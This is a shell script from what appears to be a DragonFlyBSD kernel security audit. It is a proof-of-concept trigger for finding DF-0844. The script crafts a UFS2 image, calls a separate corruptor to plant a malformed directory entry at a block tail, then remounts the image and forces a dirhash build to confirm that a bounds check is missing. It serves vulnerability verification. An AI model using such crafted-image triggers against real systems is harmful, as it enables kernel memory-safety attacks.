โฌข DragonFlyBSD Kernel Audit
DF-0844 / image_trigger.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-0844 โ€” Image-based trigger: craft a UFS image with a malformed dir entry
# at the tail of the last filesystem block, mount it, and trigger dirhash build.
#
# Threat model: malicious filesystem image (admin mounts attacker-controlled image).
# The crafted directory has its last entry corrupted: d_reclen=8 but d_namlen=255,
# positioned at the tail of the last block so d_name reads past the buffer.
#
# Observable: vfs.ufs.dirhash_mem increases (dirhash built) = malformed entry accepted
# (proving the missing d_reclen >= DIRSIZ check). On a fixed kernel, the build fails.

set -e
IMAGE=/tmp/df844.img
MNT=/mnt/df844
MKFS_BSIZE=4096
# Need dir >= ufs_mindirhashsize (DIRBLKSIZ*5 = 2560 bytes)
# Create files with ~200-char names: each entry ~212 bytes. ~15 files = ~3180 bytes.

echo "=== DF-0844 image-based trigger ==="

# Clean up any previous state
umount $MNT 2>/dev/null || true
mdconfig -d -u 0 2>/dev/null || true
rm -f $IMAGE

# 1. Create a UFS2 image
echo "[1] Creating ${MKFS_BSIZE}-byte-block UFS2 image..."
dd if=/dev/zero of=$IMAGE bs=1m count=8 2>/dev/null
# newfs with small block size to make directory layout predictable
newfs -b $MKFS_BSIZE -f 512 $IMAGE >/dev/null 2>&1

# 2. Mount, create test directory with enough entries for dirhash
mkdir -p $MNT
mdconfig -a -t vnode -f $IMAGE -u 0
mount /dev/md0 $MNT

echo "[2] Creating directory with enough entries for dirhash (>= 2560 bytes)..."
mkdir $MNT/testdir
# Create files with long names to fill the directory
for i in $(jot 20); do
    name="file_$(printf '%0190d' $i)"  # ~195-char name
    touch "$MNT/testdir/$name" 2>/dev/null || true
done

# Report directory size
DIRSIZE=$(stat -f '%z' $MNT/testdir)
echo "    testdir size = $DIRSIZE bytes (need >= 2560 for dirhash)"

# Record dirhash mem before
DHMEM_BEFORE=$(sysctl -n vfs.ufs.dirhash_mem 2>/dev/null || echo "?")
echo "    vfs.ufs.dirhash_mem before = $DHMEM_BEFORE"

# Unmount
umount $MNT
mdconfig -d -u 0

echo "[3] Searching for directory data on raw image to corrupt last entry..."
# Find the testdir's directory data on the raw image.
# The filenames we created are distinctive: "file_000...0NN"
# Search for the pattern "file_000" to locate the directory block.

# Get offset of first "file_" entry on disk
OFFSET=$(hexdump -C $IMAGE | grep 'file_000' | head -1 | awk '{print $1}' | sed 's/0$//')
echo "    Found 'file_' pattern at hex offset: $OFFSET"

echo "[4] Running C corruptor to create malformed entry at block tail..."
# The corruptor program finds the last filesystem-block boundary in the
# directory data and writes a malformed entry there.
./dirhash_corrupt $IMAGE "$MKFS_BSIZE"

# 5. Re-mount and trigger dirhash
echo "[5] Re-mounting corrupted image..."
mdconfig -a -t vnode -f $IMAGE -u 0
mount -o ro /dev/md0 $MNT

DHMEM_AFTER=$(sysctl -n vfs.ufs.dirhash_mem 2>/dev/null || echo "?")
echo "    vfs.ufs.dirhash_mem after mount = $DHMEM_AFTER"

echo "[6] Triggering dirhash build via readdir on testdir..."
# Access the directory to trigger ufsdirhash_build
ls -f $MNT/testdir/ >/dev/null 2>&1 || true
# Also try stat on a known file to trigger lookup path
stat $MNT/testdir/file_$(printf '%0190d' 1) >/dev/null 2>&1 || true

sleep 1
DHMEM_FINAL=$(sysctl -n vfs.ufs.dirhash_mem 2>/dev/null || echo "?")
echo "    vfs.ufs.dirhash_mem after readdir = $DHMEM_FINAL"

# Compare
if [ "$DHMEM_BEFORE" != "$DHMEM_FINAL" ] && [ "$DHMEM_FINAL" != "?" ]; then
    echo ""
    echo "RESULT: dirhash_mem changed ($DHMEM_BEFORE โ†’ $DHMEM_FINAL)"
    echo "        The malformed entry was ACCEPTED into the dirhash."
    echo "        This confirms the missing d_reclen >= DIRSIZ check."
else
    echo ""
    echo "RESULT: dirhash_mem unchanged ($DHMEM_BEFORE โ†’ $DHMEM_FINAL)"
    echo "        Dirhash may not have been built (size too small or rejected)."
fi

# Cleanup
umount $MNT 2>/dev/null || true
mdconfig -d -u 0 2>/dev/null || true
rm -f $IMAGE